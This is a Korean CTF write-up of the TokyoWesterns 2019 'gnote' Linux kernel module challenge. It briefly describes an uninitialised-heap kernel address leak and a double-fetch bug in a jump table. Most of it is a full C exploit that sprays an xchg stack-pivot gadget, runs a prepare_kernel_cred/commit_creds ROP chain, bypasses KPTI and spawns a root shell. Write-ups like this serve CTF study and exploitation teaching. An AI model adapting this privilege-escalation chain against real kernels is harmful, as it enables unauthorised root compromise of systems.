TokyoWesterns CTF 2019 - gnote

Posted on Aug 14, 2020
case 1:
  if(cnt >= MAX_NOTE){
    break;
  }
  notes[cnt].size = *((unsigned int *)buf+1);
  if(notes[cnt].size > 0x10000){
    break;
  }
  notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
  cnt++;
  break;
  • kmalloc 후 초기화 X
  • /dev/ptmx를 열고 닫으면 사용되었던 tty_struct 청크가 slub cache에 등록되는데, 여기에 남아있는 ops 필드의 주소를 읽어 커널 주소를 릭한다.

switch(*(unsigned int *)buf)

여기서 소스 레벨로 안 보이는 취약점이 터진다 (……)

.text:0000000000000019                 cmp     dword ptr [rbx], 5
.text:000000000000001C                 ja      short loc_6E
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:off_220[rax*8]
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

rbx의 원본에 재차 접근하면서 double-fetch가 터진다.

Exploit

  • cmp문을 지나고 double-fetch로 rbx를 건드려 rip를 원하는 함수 포인터로 돌릴 수 있다.
  • xchg eax, esp; ret; 가젯을 heap spray 하듯 0x10000~0x1010000 정도 범위에 뿌려준다.
    • (xchg 가젯 주소)&0xfff에 rop 페이로드를 적어주면 해당 주소로 stack pivoting이 가능하다.
    • – 바이너리의 .text 영역과 겹치므로 gcc 옵션으로 .text 섹션을 0x50000000까지 당겨준다. -Wl,--section-start=.note.gnu.build-id=0x50000000
  • kpti bypass를 위해 commit_creds 호출 후 swapgs_restore_regs_and_return_to_usermode ret 쪽으로 rip를 돌려준다.
// gcc exp.c -o exp -static -lpthread -masm=intel -Wl,--section-start=.note.gnu.build-id=0x50000000
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdint.h>
#include <syscall.h>
#include <string.h>
#include <pthread.h>
#include <signal.h>
#include <sys/mman.h>
#include <linux/tty.h>

#define SPRAY_SIZE 0x1000000
#define MAL_INDEX 0x8000100

struct Var{
  unsigned int opt;
  unsigned int val;
};

unsigned long long user_cs, user_ss, user_eflags, user_sp;
struct Var req;
int fd;
int trigger = 0;

int addnote(unsigned int size)
{
  req.opt = 1;
  req.val = size;
  return write(fd, &req, sizeof(req));
}

int selnote(unsigned int idx)
{
  req.opt = 5;
  req.val = idx;
  return write(fd, &req, sizeof(req));
}

void* race()
{
  while(!trigger)
  {
    req.opt = MAL_INDEX;
  }
}

void save_tf()
{
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_eflags;"
    );
}

void shell()
{
  trigger = 1;
  system("/bin/sh");
}

int main()
{
  save_tf();

  // get leak

  int pfd;

  pfd = open("/dev/ptmx", O_RDWR|O_NOCTTY);
  close(pfd);

  fd = open("/proc/gnote", O_RDWR);

  addnote(0x270);
  selnote(0);

  char leak[0x300];
  memset(leak, 0, sizeof(leak));

  read(fd, leak, 0x270);

  unsigned long long *pl = leak;
  unsigned long long kbase;

  if ((pl[3]&0xfff)==0x360) kbase = pl[3] - 0xa35360;
  else kbase = pl[3] - 0xa35260;

  printf("kernel base : 0x%llx\n", kbase);
  if (kbase&0xfff) {printf("invalid kernel base\n"); exit(0);}

  unsigned long long commit_creds = kbase + 0x69df0;
  unsigned long long prepare_kernel_cred = kbase + 0x69fe0;

  unsigned long long xchg = kbase + 0x1992a;
  unsigned long long mov_rdi_rax = kbase + 0x21ca6a;
  unsigned long long prdi = kbase + 0x1c20d;
  /*
  unsigned long long prsp = kbase + 0x3787b;
  unsigned long long prbp = kbase + 0x363;
  unsigned long long leaveret = kbase + 0x1cb1;
  unsigned long long ret = kbase + 0x1cc;
  unsigned long long swapgs = kbase + 0x3efc4;
  unsigned long long iretq = kbase + 0x1dd06;
  */
  unsigned long long kpti = kbase + 0x600a4a;

  printf("xchg : 0x%llx\n", xchg);
  printf("prepare_kernel_cred : 0x%llx\n", prepare_kernel_cred);
  printf("commit_creds : 0x%llx\n", commit_creds);

  // get root

  unsigned long long *spray = mmap(0x10000, SPRAY_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("spray : 0x%llx\n", spray);
  if (spray!=0x10000) {printf("invalid spray address\n"); exit(0);}

  for (int i=0; i<(SPRAY_SIZE-0x10000)/sizeof(unsigned long long); i++)
  {
    spray[i] = xchg;
  }

  unsigned long long *stack = mmap(xchg&0xfffff000-0x2000, 0x5000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  printf("fake stack : 0x%llx\n", stack);

  unsigned long long rop[] =
  {
    prdi,
    0,
    prepare_kernel_cred,
    mov_rdi_rax,
    0x4141414141414141,
    commit_creds,
    kpti,
    /*
    swapgs,
    0x4141414141414141,
    iretq,
    */
    0,
    0,
    &shell,
    user_cs,
    user_eflags,
    user_sp,
    user_ss
  };
  memcpy(xchg&0xffffffff, rop, sizeof(rop));
  printf("rop : 0x%llx\n", xchg&0xffffffff);

  pthread_t dfetch;
  pthread_create(&dfetch, NULL, race, NULL);

  while (!trigger)
  {
    req.opt = 0;
    req.val = 0x1337;
    write(fd, &req, sizeof(req));
  }
  pthread_join(dfetch, NULL);

  return 0;
}